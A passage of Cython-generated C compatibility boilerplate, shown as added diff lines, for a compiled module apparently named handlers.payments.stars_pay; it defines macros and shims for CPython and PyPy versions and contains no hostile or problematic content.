__Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET ((size_t)1 << (8 * sizeof(size_t) - 1)) + #define __Pyx_PyVectorcall_NARGS(n) ((Py_ssize_t)(((size_t)(n)) & ~__Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET)) +#else + #define __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET 0 + #define __Pyx_PyVectorcall_NARGS(n) ((Py_ssize_t)(n)) +#endif +#if PY_MAJOR_VERSION >= 0x030900B1 +#define __Pyx_PyCFunction_CheckExact(func) PyCFunction_CheckExact(func) +#else +#define __Pyx_PyCFunction_CheckExact(func) PyCFunction_Check(func) +#endif +#define __Pyx_CyOrPyCFunction_Check(func) PyCFunction_Check(func) +#if CYTHON_COMPILING_IN_CPYTHON +#define __Pyx_CyOrPyCFunction_GET_FUNCTION(func) (((PyCFunctionObject*)(func))->m_ml->ml_meth) +#elif !CYTHON_COMPILING_IN_LIMITED_API +#define __Pyx_CyOrPyCFunction_GET_FUNCTION(func) PyCFunction_GET_FUNCTION(func) +#endif +#if CYTHON_COMPILING_IN_CPYTHON +#define __Pyx_CyOrPyCFunction_GET_FLAGS(func) (((PyCFunctionObject*)(func))->m_ml->ml_flags) +static CYTHON_INLINE PyObject* __Pyx_CyOrPyCFunction_GET_SELF(PyObject *func) { + return (__Pyx_CyOrPyCFunction_GET_FLAGS(func) & METH_STATIC) ? NULL : ((PyCFunctionObject*)func)->m_self; +} +#endif +static CYTHON_INLINE int __Pyx__IsSameCFunction(PyObject *func, void *cfunc) { +#if CYTHON_COMPILING_IN_LIMITED_API + return PyCFunction_Check(func) && PyCFunction_GetFunction(func) == (PyCFunction) cfunc; +#else + return PyCFunction_Check(func) && PyCFunction_GET_FUNCTION(func) == (PyCFunction) cfunc; +#endif +} +#define __Pyx_IsSameCFunction(func, cfunc) __Pyx__IsSameCFunction(func, cfunc) +#if __PYX_LIMITED_VERSION_HEX < 0x030900B1 + #define __Pyx_PyType_FromModuleAndSpec(m, s, b) ((void)m, PyType_FromSpecWithBases(s, b)) + typedef PyObject *(*__Pyx_PyCMethod)(PyObject *, PyTypeObject *, PyObject *const *, size_t, PyObject *); +#else + #define __Pyx_PyType_FromModuleAndSpec(m, s, b) PyType_FromModuleAndSpec(m, s, b) + #define __Pyx_PyCMethod PyCMethod +#endif +#ifndef METH_METHOD + #define METH_METHOD 0x200 +#endif +#if CYTHON_COMPILING_IN_PYPY && !defined(PyObject_Malloc) + #define PyObject_Malloc(s) PyMem_Malloc(s) + #define PyObject_Free(p) PyMem_Free(p) + #define PyObject_Realloc(p) PyMem_Realloc(p) +#endif +#if CYTHON_COMPILING_IN_LIMITED_API + #define __Pyx_PyCode_HasFreeVars(co) (PyCode_GetNumFree(co) > 0) + #define __Pyx_PyFrame_SetLineNumber(frame, lineno) +#else + #define __Pyx_PyCode_HasFreeVars(co) (PyCode_GetNumFree(co) > 0) + #define __Pyx_PyFrame_SetLineNumber(frame, lineno) (frame)->f_lineno = (lineno) +#endif +#if CYTHON_COMPILING_IN_LIMITED_API + #define __Pyx_PyThreadState_Current PyThreadState_Get() +#elif !CYTHON_FAST_THREAD_STATE + #define __Pyx_PyThreadState_Current PyThreadState_GET() +#elif PY_VERSION_HEX >= 0x030d00A1 + #define __Pyx_PyThreadState_Current PyThreadState_GetUnchecked() +#elif PY_VERSION_HEX >= 0x03060000 + #define __Pyx_PyThreadState_Current _PyThreadState_UncheckedGet() +#elif PY_VERSION_HEX >= 0x03000000 + #define __Pyx_PyThreadState_Current PyThreadState_GET() +#else + #define __Pyx_PyThreadState_Current _PyThreadState_Current +#endif +#if CYTHON_COMPILING_IN_LIMITED_API +static CYTHON_INLINE void *__Pyx_PyModule_GetState(PyObject *op) +{ + void *result; + result = PyModule_GetState(op); + if (!result) + Py_FatalError("Couldn't find the module state"); + return result; +} +#endif +#define __Pyx_PyObject_GetSlot(obj, name, func_ctype) __Pyx_PyType_GetSlot(Py_TYPE(obj), name, func_ctype) +#if CYTHON_COMPILING_IN_LIMITED_API + #define __Pyx_PyType_GetSlot(type, name, func_ctype) ((func_ctype) PyType_GetSlot((type), Py_##name)) +#else + #define __Pyx_PyType_GetSlot(type, name, func_ctype) ((type)->name) +#endif +#if PY_VERSION_HEX < 0x030700A2 && !defined(PyThread_tss_create) && !defined(Py_tss_NEEDS_INIT) +#include "pythread.h" +#define Py_tss_NEEDS_INIT 0 +typedef int Py_tss_t; +static CYTHON_INLINE int PyThread_tss_create(Py_tss_t *key) { + *key = PyThread_create_key(); + return 0; +} +static CYTHON_INLINE Py_tss_t * PyThread_tss_alloc(void) { + Py_tss_t *key = (Py_tss_t *)PyObject_Malloc(sizeof(Py_tss_t)); + *key = Py_tss_NEEDS_INIT; + return key; +} +static CYTHON_INLINE void PyThread_tss_free(Py_tss_t *key) { + PyObject_Free(key); +} +static CYTHON_INLINE int PyThread_tss_is_created(Py_tss_t *key) { + return *key != Py_tss_NEEDS_INIT; +} +static CYTHON_INLINE void PyThread_tss_delete(Py_tss_t *key) { + PyThread_delete_key(*key); + *key = Py_tss_NEEDS_INIT; +} +static CYTHON_INLINE int PyThread_tss_set(Py_tss_t *key, void *value) { + return PyThread_set_key_value(*key, value); +} +static CYTHON_INLINE void * PyThread_tss_get(Py_tss_t *key) { + return PyThread_get_key_value(*key); +} +#endif +#if PY_MAJOR_VERSION < 3 + #if CYTHON_COMPILING_IN_PYPY + #if PYPY_VERSION_NUM < 0x07030600 + #if defined(__cplusplus) && __cplusplus >= 201402L + [[deprecated("`with nogil:` inside a nogil function will not release the GIL in PyPy2 < 7.3.6")]] + #elif defined(__GNUC__) || defined(__clang__) + __attribute__ ((__deprecated__("`with nogil:` inside a nogil function will not release the GIL in PyPy2 < 7.3.6"))) + #elif defined(_MSC_VER) + __declspec(deprecated("`with nogil:` inside a nogil function will not release the GIL in PyPy2 < 7.3.6")) + #endif + static CYTHON_INLINE int PyGILState_Check(void) { + return 0; + } + #else // PYPY_VERSION_NUM < 0x07030600 + #endif // PYPY_VERSION_NUM < 0x07030600 + #else + static CYTHON_INLINE int PyGILState_Check(void) { + PyThreadState * tstate = _PyThreadState_Current; + return tstate && (tstate == PyGILState_GetThisThreadState()); + } + #endif +#endif +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX < 0x030d0000 || defined(_PyDict_NewPresized) +#define __Pyx_PyDict_NewPresized(n) ((n <= 8) ? PyDict_New() : _PyDict_NewPresized(n)) +#else +#define __Pyx_PyDict_NewPresized(n) PyDict_New() +#endif +#if PY_MAJOR_VERSION >= 3 || CYTHON_FUTURE_DIVISION + #define __Pyx_PyNumber_Divide(x,y) PyNumber_TrueDivide(x,y) + #define __Pyx_PyNumber_InPlaceDivide(x,y) PyNumber_InPlaceTrueDivide(x,y) +#else + #define __Pyx_PyNumber_Divide(x,y) PyNumber_Divide(x,y) + #define __Pyx_PyNumber_InPlaceDivide(x,y) PyNumber_InPlaceDivide(x,y) +#endif +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX > 0x030600B4 && PY_VERSION_HEX < 0x030d0000 && CYTHON_USE_UNICODE_INTERNALS +#define __Pyx_PyDict_GetItemStrWithError(dict, name) _PyDict_GetItem_KnownHash(dict, name, ((PyASCIIObject *) name)->hash) +static CYTHON_INLINE PyObject * __Pyx_PyDict_GetItemStr(PyObject *dict, PyObject *name) { + PyObject *res = __Pyx_PyDict_GetItemStrWithError(dict, name); + if (res == NULL) PyErr_Clear(); + return res; +} +#elif PY_MAJOR_VERSION >= 3 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07020000) +#define __Pyx_PyDict_GetItemStrWithError PyDict_GetItemWithError +#define __Pyx_PyDict_GetItemStr PyDict_GetItem +#else +static CYTHON_INLINE PyObject * __Pyx_PyDict_GetItemStrWithError(PyObject *dict, PyObject *name) { +#if CYTHON_COMPILING_IN_PYPY + return PyDict_GetItem(dict, name); +#else + PyDictEntry *ep; + PyDictObject *mp = (PyDictObject*) dict; + long hash = ((PyStringObject *) name)->ob_shash; + assert(hash != -1); + ep = (mp->ma_lookup)(mp, name, hash); + if (ep == NULL) { + return NULL; + } + return ep->me_value; +#endif +} +#define __Pyx_PyDict_GetItemStr PyDict_GetItem +#endif +#if CYTHON_USE_TYPE_SLOTS + #define __Pyx_PyType_GetFlags(tp) (((PyTypeObject *)tp)->tp_flags) + #define __Pyx_PyType_HasFeature(type, feature) ((__Pyx_PyType_GetFlags(type) & (feature)) != 0) + #define __Pyx_PyObject_GetIterNextFunc(obj) (Py_TYPE(obj)->tp_iternext) +#else + #define __Pyx_PyType_GetFlags(tp) (PyType_GetFlags((PyTypeObject *)tp)) + #define __Pyx_PyType_HasFeature(type, feature) PyType_HasFeature(type, feature) + #define __Pyx_PyObject_GetIterNextFunc(obj) PyIter_Next +#endif +#if CYTHON_COMPILING_IN_LIMITED_API + #define __Pyx_SetItemOnTypeDict(tp, k, v) PyObject_GenericSetAttr((PyObject*)tp, k, v) +#else + #define __Pyx_SetItemOnTypeDict(tp, k, v) PyDict_SetItem(tp->tp_dict, k, v) +#endif +#if CYTHON_USE_TYPE_SPECS && PY_VERSION_HEX >= 0x03080000 +#define __Pyx_PyHeapTypeObject_GC_Del(obj) {\ + PyTypeObject *type = Py_TYPE((PyObject*)obj);\ + assert(__Pyx_PyType_HasFeature(type, Py_TPFLAGS_HEAPTYPE));\ + PyObject_GC_Del(obj);\ + Py_DECREF(type);\ +} +#else +#define __Pyx_PyHeapTypeObject_GC_Del(obj) PyObject_GC_Del(obj) +#endif +#if CYTHON_COMPILING_IN_LIMITED_API + #define CYTHON_PEP393_ENABLED 1 + #define __Pyx_PyUnicode_READY(op) (0) + #define __Pyx_PyUnicode_GET_LENGTH(u) PyUnicode_GetLength(u) + #define __Pyx_PyUnicode_READ_CHAR(u, i) PyUnicode_ReadChar(u, i) + #define __Pyx_PyUnicode_MAX_CHAR_VALUE(u) ((void)u, 1114111U) + #define __Pyx_PyUnicode_KIND(u) ((void)u, (0)) + #define __Pyx_PyUnicode_DATA(u) ((void*)u) + #define __Pyx_PyUnicode_READ(k, d, i) ((void)k, PyUnicode_ReadChar((PyObject*)(d), i)) + #define __Pyx_PyUnicode_IS_TRUE(u) (0 != PyUnicode_GetLength(u)) +#elif PY_VERSION_HEX > 0x03030000 && defined(PyUnicode_KIND) + #define CYTHON_PEP393_ENABLED 1 + #if PY_VERSION_HEX >= 0x030C0000 + #define __Pyx_PyUnicode_READY(op) (0) + #else + #define __Pyx_PyUnicode_READY(op) (likely(PyUnicode_IS_READY(op)) ?\ + 0 : _PyUnicode_Ready((PyObject *)(op))) + #endif + #define __Pyx_PyUnicode_GET_LENGTH(u) PyUnicode_GET_LENGTH(u) + #define __Pyx_PyUnicode_READ_CHAR(u, i) PyUnicode_READ_CHAR(u, i) + #define __Pyx_PyUnicode_MAX_CHAR_VALUE(u) PyUnicode_MAX_CHAR_VALUE(u) + #define __Pyx_PyUnicode_KIND(u) ((int)PyUnicode_KIND(u)) + #define __Pyx_PyUnicode_DATA(u) PyUnicode_DATA(u) + #define __Pyx_PyUnicode_READ(k, d, i) PyUnicode_READ(k, d, i) + #define __Pyx_PyUnicode_WRITE(k, d, i, ch) PyUnicode_WRITE(k, d, i, (Py_UCS4) ch) + #if PY_VERSION_HEX >= 0x030C0000 + #define __Pyx_PyUnicode_IS_TRUE(u) (0 != PyUnicode_GET_LENGTH(u)) + #else + #if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x03090000 + #define __Pyx_PyUnicode_IS_TRUE(u) (0 != (likely(PyUnicode_IS_READY(u)) ? PyUnicode_GET_LENGTH(u) : ((PyCompactUnicodeObject *)(u))->wstr_length)) + #else + #define __Pyx_PyUnicode_IS_TRUE(u) (0 != (likely(PyUnicode_IS_READY(u)) ? PyUnicode_GET_LENGTH(u) : PyUnicode_GET_SIZE(u))) + #endif + #endif +#else + #define CYTHON_PEP393_ENABLED 0 + #define PyUnicode_1BYTE_KIND 1 + #define PyUnicode_2BYTE_KIND 2 + #define PyUnicode_4BYTE_KIND 4 + #define __Pyx_PyUnicode_READY(op) (0) + #define __Pyx_PyUnicode_GET_LENGTH(u) PyUnicode_GET_SIZE(u) + #define __Pyx_PyUnicode_READ_CHAR(u, i) ((Py_UCS4)(PyUnicode_AS_UNICODE(u)[i])) + #define __Pyx_PyUnicode_MAX_CHAR_VALUE(u) ((sizeof(Py_UNICODE) == 2) ? 65535U : 1114111U) + #define __Pyx_PyUnicode_KIND(u) ((int)sizeof(Py_UNICODE)) + #define __Pyx_PyUnicode_DATA(u) ((void*)PyUnicode_AS_UNICODE(u)) + #define __Pyx_PyUnicode_READ(k, d, i) ((void)(k), (Py_UCS4)(((Py_UNICODE*)d)[i])) + #define __Pyx_PyUnicode_WRITE(k, d, i, ch) (((void)(k)), ((Py_UNICODE*)d)[i] = (Py_UNICODE) ch) + #define __Pyx_PyUnicode_IS_TRUE(u) (0 != PyUnicode_GET_SIZE(u)) +#endif +#if CYTHON_COMPILING_IN_PYPY + #define __Pyx_PyUnicode_Concat(a, b) PyNumber_Add(a, b) + #define __Pyx_PyUnicode_ConcatSafe(a, b) PyNumber_Add(a, b) +#else + #define __Pyx_PyUnicode_Concat(a, b) PyUnicode_Concat(a, b) + #define __Pyx_PyUnicode_ConcatSafe(a, b) ((unlikely((a) == Py_None) || unlikely((b) == Py_None)) ?\ + PyNumber_Add(a, b) : __Pyx_PyUnicode_Concat(a, b)) +#endif +#if CYTHON_COMPILING_IN_PYPY + #if !defined(PyUnicode_DecodeUnicodeEscape) + #define PyUnicode_DecodeUnicodeEscape(s, size, errors) PyUnicode_Decode(s, size, "unicode_escape", errors) + #endif + #if !defined(PyUnicode_Contains) || (PY_MAJOR_VERSION == 2 && PYPY_VERSION_NUM < 0x07030500) + #undef PyUnicode_Contains + #define PyUnicode_Contains(u, s) PySequence_Contains(u, s) + #endif + #if !defined(PyByteArray_Check) + #define PyByteArray_Check(obj) PyObject_TypeCheck(obj, &PyByteArray_Type) + #endif + #if !defined(PyObject_Format) + #define PyObject_Format(obj, fmt) PyObject_CallMethod(obj, "__format__", "O", fmt) + #endif +#endif +#define __Pyx_PyString_FormatSafe(a, b) ((unlikely((a) == Py_None || (PyString_Check(b) && !PyString_CheckExact(b)))) ? PyNumber_Remainder(a, b) : __Pyx_PyString_Format(a, b)) +#define __Pyx_PyUnicode_FormatSafe(a, b) ((unlikely((a) == Py_None || (PyUnicode_Check(b) && !PyUnicode_CheckExact(b)))) ? PyNumber_Remainder(a, b) : PyUnicode_Format(a, b)) +#if PY_MAJOR_VERSION >= 3 + #define __Pyx_PyString_Format(a, b) PyUnicode_Format(a, b) +#else + #define __Pyx_PyString_Format(a, b) PyString_Format(a, b) +#endif +#if PY_MAJOR_VERSION < 3 && !defined(PyObject_ASCII) + #define PyObject_ASCII(o) PyObject_Repr(o) +#endif +#if PY_MAJOR_VERSION >= 3 + #define PyBaseString_Type PyUnicode_Type + #define PyStringObject PyUnicodeObject + #define PyString_Type PyUnicode_Type + #define PyString_Check PyUnicode_Check + #define PyString_CheckExact PyUnicode_CheckExact +#ifndef PyObject_Unicode + #define PyObject_Unicode PyObject_Str +#endif +#endif +#if PY_MAJOR_VERSION >= 3 + #define __Pyx_PyBaseString_Check(obj) PyUnicode_Check(obj) + #define __Pyx_PyBaseString_CheckExact(obj) PyUnicode_CheckExact(obj) +#else + #define __Pyx_PyBaseString_Check(obj) (PyString_Check(obj) || PyUnicode_Check(obj)) + #define __Pyx_PyBaseString_CheckExact(obj) (PyString_CheckExact(obj) || PyUnicode_CheckExact(obj)) +#endif +#if CYTHON_COMPILING_IN_CPYTHON + #define __Pyx_PySequence_ListKeepNew(obj)\ + (likely(PyList_CheckExact(obj) && Py_REFCNT(obj) == 1) ? __Pyx_NewRef(obj) : PySequence_List(obj)) +#else + #define __Pyx_PySequence_ListKeepNew(obj) PySequence_List(obj) +#endif +#ifndef PySet_CheckExact + #define PySet_CheckExact(obj) __Pyx_IS_TYPE(obj, &PySet_Type) +#endif +#if PY_VERSION_HEX >= 0x030900A4 + #define __Pyx_SET_REFCNT(obj, refcnt) Py_SET_REFCNT(obj, refcnt) + #define __Pyx_SET_SIZE(obj, size) Py_SET_SIZE(obj, size) +#else + #define __Pyx_SET_REFCNT(obj, refcnt) Py_REFCNT(obj) = (refcnt) + #define __Pyx_SET_SIZE(obj, size) Py_SIZE(obj) = (size) +#endif +#if CYTHON_ASSUME_SAFE_MACROS + #define __Pyx_PySequence_ITEM(o, i) PySequence_ITEM(o, i) + #define __Pyx_PySequence_SIZE(seq) Py_SIZE(seq) + #define __Pyx_PyTuple_SET_ITEM(o, i, v) (PyTuple_SET_ITEM(o, i, v), (0)) + #define __Pyx_PyList_SET_ITEM(o, i, v) (PyList_SET_ITEM(o, i, v), (0)) + #define __Pyx_PyTuple_GET_SIZE(o) PyTuple_GET_SIZE(o) + #define __Pyx_PyList_GET_SIZE(o) PyList_GET_SIZE(o) + #define __Pyx_PySet_GET_SIZE(o) PySet_GET_SIZE(o) + #define __Pyx_PyBytes_GET_SIZE(o) PyBytes_GET_SIZE(o) + #define __Pyx_PyByteArray_GET_SIZE(o) PyByteArray_GET_SIZE(o) +#else + #define __Pyx_PySequence_ITEM(o, i) PySequence_GetItem(o, i) + #define __Pyx_PySequence_SIZE(seq) PySequence_Size(seq) + #define __Pyx_PyTuple_SET_ITEM(o, i, v) PyTuple_SetItem(o, i, v) + #define __Pyx_PyList_SET_ITEM(o, i, v) PyList_SetItem(o, i, v) + #define __Pyx_PyTuple_GET_SIZE(o) PyTuple_Size(o) + #define __Pyx_PyList_GET_SIZE(o) PyList_Size(o) + #define __Pyx_PySet_GET_SIZE(o) PySet_Size(o) + #define __Pyx_PyBytes_GET_SIZE(o) PyBytes_Size(o) + #define __Pyx_PyByteArray_GET_SIZE(o) PyByteArray_Size(o) +#endif +#if __PYX_LIMITED_VERSION_HEX >= 0x030d00A1 + #define __Pyx_PyImport_AddModuleRef(name) PyImport_AddModuleRef(name) +#else + static CYTHON_INLINE PyObject *__Pyx_PyImport_AddModuleRef(const char *name) { + PyObject *module = PyImport_AddModule(name); + Py_XINCREF(module); + return module; + } +#endif +#if PY_MAJOR_VERSION >= 3 + #define PyIntObject PyLongObject + #define PyInt_Type PyLong_Type + #define PyInt_Check(op) PyLong_Check(op) + #define PyInt_CheckExact(op) PyLong_CheckExact(op) + #define __Pyx_Py3Int_Check(op) PyLong_Check(op) + #define __Pyx_Py3Int_CheckExact(op) PyLong_CheckExact(op) + #define PyInt_FromString PyLong_FromString + #define PyInt_FromUnicode PyLong_FromUnicode + #define PyInt_FromLong PyLong_FromLong + #define PyInt_FromSize_t PyLong_FromSize_t + #define PyInt_FromSsize_t PyLong_FromSsize_t + #define PyInt_AsLong PyLong_AsLong + #define PyInt_AS_LONG PyLong_AS_LONG + #define PyInt_AsSsize_t PyLong_AsSsize_t + #define PyInt_AsUnsignedLongMask PyLong_AsUnsignedLongMask + #define PyInt_AsUnsignedLongLongMask PyLong_AsUnsignedLongLongMask + #define PyNumber_Int PyNumber_Long +#else + #define __Pyx_Py3Int_Check(op) (PyLong_Check(op) || PyInt_Check(op)) + #define __Pyx_Py3Int_CheckExact(op) (PyLong_CheckExact(op) || PyInt_CheckExact(op)) +#endif +#if PY_MAJOR_VERSION >= 3 + #define PyBoolObject PyLongObject +#endif +#if PY_MAJOR_VERSION >= 3 && CYTHON_COMPILING_IN_PYPY + #ifndef PyUnicode_InternFromString + #define PyUnicode_InternFromString(s) PyUnicode_FromString(s) + #endif +#endif +#if PY_VERSION_HEX < 0x030200A4 + typedef long Py_hash_t; + #define __Pyx_PyInt_FromHash_t PyInt_FromLong + #define __Pyx_PyInt_AsHash_t __Pyx_PyIndex_AsHash_t +#else + #define __Pyx_PyInt_FromHash_t PyInt_FromSsize_t + #define __Pyx_PyInt_AsHash_t __Pyx_PyIndex_AsSsize_t +#endif +#if CYTHON_USE_ASYNC_SLOTS + #if PY_VERSION_HEX >= 0x030500B1 + #define __Pyx_PyAsyncMethodsStruct PyAsyncMethods + #define __Pyx_PyType_AsAsync(obj) (Py_TYPE(obj)->tp_as_async) + #else + #define __Pyx_PyType_AsAsync(obj) ((__Pyx_PyAsyncMethodsStruct*) (Py_TYPE(obj)->tp_reserved)) + #endif +#else + #define __Pyx_PyType_AsAsync(obj) NULL +#endif +#ifndef __Pyx_PyAsyncMethodsStruct + typedef struct { + unaryfunc am_await; + unaryfunc am_aiter; + unaryfunc am_anext; + } __Pyx_PyAsyncMethodsStruct; +#endif + +#if defined(_WIN32) || defined(WIN32) || defined(MS_WINDOWS) + #if !defined(_USE_MATH_DEFINES) + #define _USE_MATH_DEFINES + #endif +#endif +#include +#ifdef NAN +#define __PYX_NAN() ((float) NAN) +#else +static CYTHON_INLINE float __PYX_NAN() { + float value; + memset(&value, 0xFF, sizeof(value)); + return value; +} +#endif +#if defined(__CYGWIN__) && defined(_LDBL_EQ_DBL) +#define __Pyx_truncl trunc +#else +#define __Pyx_truncl truncl +#endif + +#define __PYX_MARK_ERR_POS(f_index, lineno) \ + { __pyx_filename = __pyx_f[f_index]; (void)__pyx_filename; __pyx_lineno = lineno; (void)__pyx_lineno; __pyx_clineno = __LINE__; (void)__pyx_clineno; } +#define __PYX_ERR(f_index, lineno, Ln_error) \ + { __PYX_MARK_ERR_POS(f_index, lineno) goto Ln_error; } + +#ifdef CYTHON_EXTERN_C + #undef __PYX_EXTERN_C + #define __PYX_EXTERN_C CYTHON_EXTERN_C +#elif defined(__PYX_EXTERN_C) + #ifdef _MSC_VER + #pragma message ("Please do not define the '__PYX_EXTERN_C' macro externally. Use 'CYTHON_EXTERN_C' instead.") + #else + #warning Please do not define the '__PYX_EXTERN_C' macro externally. Use 'CYTHON_EXTERN_C' instead. + #endif +#else + #ifdef __cplusplus + #define __PYX_EXTERN_C extern "C" + #else + #define __PYX_EXTERN_C extern + #endif +#endif + +#define __PYX_HAVE__handlers__payments__stars_pay +#define __PYX_HAVE_API__handlers__payments__stars_pay +/* Early includes */ +#ifdef _OPENMP +#include +#endif /* _OPENMP */ + +#if defined(PYREX_WITHOUT_ASSERTIONS) && !defined(CYTHON_WITHOUT_ASSERTIONS) +#define CYTHON_WITHOUT_ASSERTIONS +#endif + +typedef struct {PyObject **p; const char *s; const Py_ssize_t n; const char* encoding; + const char is_unicode; const char is_str; const char intern; } __Pyx_StringTabEntry; + +#define __PYX_DEFAULT_STRING_ENCODING_IS_ASCII 0 +#define __PYX_DEFAULT_STRING_ENCODING_IS_UTF8 0 +#define __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT (PY_MAJOR_VERSION >= 3 && __PYX_DEFAULT_STRING_ENCODING_IS_UTF8) +#define __PYX_DEFAULT_STRING_ENCODING "" +#define __Pyx_PyObject_FromString __Pyx_PyBytes_FromString +#define __Pyx_PyObject_FromStringAndSize __Pyx_PyBytes_FromStringAndSize +#define __Pyx_uchar_cast(c) ((unsigned char)c) +#define __Pyx_long_cast(x) ((long)x) +#define __Pyx_fits_Py_ssize_t(v, type, is_signed) (\ + (sizeof(type) < sizeof(Py_ssize_t)) ||\ + (sizeof(type) > sizeof(Py_ssize_t) &&\ + likely(v < (type)PY_SSIZE_T_MAX ||\ + v == (type)PY_SSIZE_T_MAX) &&\ + (!is_signed || likely(v > (type)PY_SSIZE_T_MIN ||\ + v == (type)PY_SSIZE_T_MIN))) ||\ + (sizeof(type) == sizeof(Py_ssize_t) &&\ + (is_signed || likely(v < (type)PY_SSIZE_T_MAX ||\ + v == (type)PY_SSIZE_T_MAX))) ) +static CYTHON_INLINE int __Pyx_is_valid_index(Py_ssize_t i, Py_ssize_t limit) { + return (size_t) i < (size_t) limit; +} +#if defined (__cplusplus) && __cplusplus >= 201103L + #include + #define __Pyx_sst_abs(value) std::abs(value) +#elif SIZEOF_INT >= SIZEOF_SIZE_T + #define __Pyx_sst_abs(value) abs(value) +#elif SIZEOF_LONG >= SIZEOF_SIZE_T + #define __Pyx_sst_abs(value) labs(value) +#elif defined (_MSC_VER) + #define __Pyx_sst_abs(value) ((Py_ssize_t)_abs64(value)) +#elif defined (__STDC_VERSION__) && __STDC_VERSION__ >= 199901L + #define __Pyx_sst_abs(value) llabs(value) +#elif defined (__GNUC__) + #define __Pyx_sst_abs(value) __builtin_llabs(value) +#else + #define __Pyx_sst_abs(value) ((value<0) ? -value : value) +#endif +static CYTHON_INLINE Py_ssize_t __Pyx_ssize_strlen(const char *s); +static CYTHON_INLINE const char* __Pyx_PyObject_AsString(PyObject*); +static CYTHON_INLINE const char* __Pyx_PyObject_AsStringAndSize(PyObject*, Py_ssize_t* length); +static CYTHON_INLINE PyObject* __Pyx_PyByteArray_FromString(const char*); +#define __Pyx_PyByteArray_FromStringAndSize(s, l) PyByteArray_FromStringAndSize((const char*)s, l) +#define __Pyx_PyBytes_FromString PyBytes_FromString +#define __Pyx_PyBytes_FromStringAndSize PyBytes_FromStringAndSize +static CYTHON_INLINE PyObject* __Pyx_PyUnicode_FromString(const char*); +#if PY_MAJOR_VERSION < 3 + #define __Pyx_PyStr_FromString __Pyx_PyBytes_FromString + #define __Pyx_PyStr_FromStringAndSize __Pyx_PyBytes_FromStringAndSize +#else + #define __Pyx_PyStr_FromString __Pyx_PyUnicode_FromString + #define __Pyx_PyStr_FromStringAndSize __Pyx_PyUnicode_FromStringAndSize +#endif +#define __Pyx_PyBytes_AsWritableString(s) ((char*) PyBytes_AS_STRING(s)) +#define __Pyx_PyBytes_AsWritableSString(s) ((signed char*) PyBytes_AS_STRING(s)) +#define __Pyx_PyBytes_AsWritableUString(s) ((unsigned char*) PyBytes_AS_STRING(s)) +#define __Pyx_PyBytes_AsString(s) ((const char*) PyBytes_AS_STRING(s)) +#define __Pyx_PyBytes_AsSString(s) ((const signed char*) PyBytes_AS_STRING(s)) +#define __Pyx_PyBytes_AsUString(s) ((const unsigned char*) PyBytes_AS_STRING(s)) +#define __Pyx_PyObject_AsWritableString(s) ((char*)(__pyx_uintptr_t) __Pyx_PyObject_AsString(s)) +#define __Pyx_PyObject_AsWritableSString(s) ((signed char*)(__pyx_uintptr_t) __Pyx_PyObject_AsString(s)) +#define __Pyx_PyObject_AsWritableUString(s) ((unsigned char*)(__pyx_uintptr_t) __Pyx_PyObject_AsString(s)) +#define __Pyx_PyObject_AsSString(s) ((const signed char*) __Pyx_PyObject_AsString(s)) +#define __Pyx_PyObject_AsUString(s) ((const unsigned char*) __Pyx_PyObject_AsString(s)) +#define __Pyx_PyObject_FromCString(s) __Pyx_PyObject_FromString((const char*)s) +#define __Pyx_PyBytes_FromCString(s) __Pyx_PyBytes_FromString((const char*)s) +#define __Pyx_PyByteArray_FromCString(s) __Pyx_PyByteArray_FromString((const char*)s) +#define __Pyx_PyStr_FromCString(s) __Pyx_PyStr_FromString((const char*)s) +#define __Pyx_PyUnicode_FromCString(s) __Pyx_PyUnicode_FromString((const char*)s) +#define __Pyx_PyUnicode_FromOrdinal(o) PyUnicode_FromOrdinal((int)o) +#define __Pyx_PyUnicode_AsUnicode PyUnicode_AsUnicode +#define __Pyx_NewRef(obj) (Py_INCREF(obj), obj) +#define __Pyx_Owned_Py_None(b) __Pyx_NewRef(Py_None) +static CYTHON_INLINE PyObject * __Pyx_PyBool_FromLong(long b); +static CYTHON_INLINE int __Pyx_PyObject_IsTrue(PyObject*); +static CYTHON_INLINE int __Pyx_PyObject_IsTrueAndDecref(PyObject*); +static CYTHON_INLINE PyObject* __Pyx_PyNumber_IntOrLong(PyObject* x); +#define __Pyx_PySequence_Tuple(obj)\ + (likely(PyTuple_CheckExact(obj)) ? __Pyx_NewRef(obj) : PySequence_Tuple(obj)) +static CYTHON_INLINE Py_ssize_t __Pyx_PyIndex_AsSsize_t(PyObject*); +static CYTHON_INLINE PyObject * __Pyx_PyInt_FromSize_t(size_t); +static CYTHON_INLINE Py_hash_t __Pyx_PyIndex_AsHash_t(PyObject*); +#if CYTHON_ASSUME_SAFE_MACROS +#define __pyx_PyFloat_AsDouble(x) (PyFloat_CheckExact(x) ? PyFloat_AS_DOUBLE(x) : PyFloat_AsDouble(x)) +#else +#define __pyx_PyFloat_AsDouble(x) PyFloat_AsDouble(x) +#endif +#define __pyx_PyFloat_AsFloat(x) ((float) __pyx_PyFloat_AsDouble(x)) +#if PY_MAJOR_VERSION >= 3 +#define __Pyx_PyNumber_Int(x) (PyLong_CheckExact(x) ? __Pyx_NewRef(x) : PyNumber_Long(x)) +#else +#define __Pyx_PyNumber_Int(x) (PyInt_CheckExact(x) ? __Pyx_NewRef(x) : PyNumber_Int(x)) +#endif +#if CYTHON_USE_PYLONG_INTERNALS + #if PY_VERSION_HEX >= 0x030C00A7 + #ifndef _PyLong_SIGN_MASK + #define _PyLong_SIGN_MASK 3 + #endif + #ifndef _PyLong_NON_SIZE_BITS + #define _PyLong_NON_SIZE_BITS 3 + #endif + #define __Pyx_PyLong_Sign(x) (((PyLongObject*)x)->long_value.lv_tag & _PyLong_SIGN_MASK) + #define __Pyx_PyLong_IsNeg(x) ((__Pyx_PyLong_Sign(x) & 2) != 0) + #define __Pyx_PyLong_IsNonNeg(x) (!__Pyx_PyLong_IsNeg(x)) + #define __Pyx_PyLong_IsZero(x) (__Pyx_PyLong_Sign(x) & 1) + #define __Pyx_PyLong_IsPos(x) (__Pyx_PyLong_Sign(x) == 0) + #define __Pyx_PyLong_CompactValueUnsigned(x) (__Pyx_PyLong_Digits(x)[0]) + #define __Pyx_PyLong_DigitCount(x) ((Py_ssize_t) (((PyLongObject*)x)->long_value.lv_tag >> _PyLong_NON_SIZE_BITS)) + #define 